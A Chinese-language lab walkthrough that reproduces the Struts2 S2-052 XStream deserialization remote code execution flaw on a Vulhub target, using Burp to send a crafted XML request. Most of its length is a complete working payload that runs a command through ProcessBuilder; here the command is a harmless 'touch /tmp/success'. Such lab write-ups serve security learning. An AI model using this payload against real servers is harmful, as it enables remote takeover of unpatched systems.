Vulnhub-Struts2系列漏洞

影刃实验室 209 6月 17, 2022 0 adminwiki

S2-052远程代码执行漏洞

漏洞简述:

问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法，其中未对传入的值进行任何限制，在使用XStream反

影响版本:

Struts 2.5 – Struts 2.5.12

准备环境

启动Vulnhub靶机环境：

验证靶机应用启用成功：

漏洞复现：

点击submit。使用Burp抓包：

将我们抓到的包发送到Repeater：

注意：Content-Type需要改成application/xml类型

修改好后，构造poc

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

<is class="javax.crypto.CipherInputStream">

<cipher class="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIterator class="javax.imageio.spi.FilterIterator">

<iter class="javax.imageio.spi.FilterIterator">

<iter class="java.util.Collections$EmptyIterator"/>

<next class="java.lang.ProcessBuilder">

<command>

<string>touch</string>

<string>/tmp/success</string>

</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filter class="javax.imageio.ImageIO$ContainsFilter">

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<next class="string">foo</next>

</serviceIterator>

<lock/>

</cipher>

<input class="java.lang.ProcessBuilder$NullInputStream"/>

<ibuffer></ibuffer>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

</entry>

<entry>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

将poc全部黏贴到数据包内，进行发送。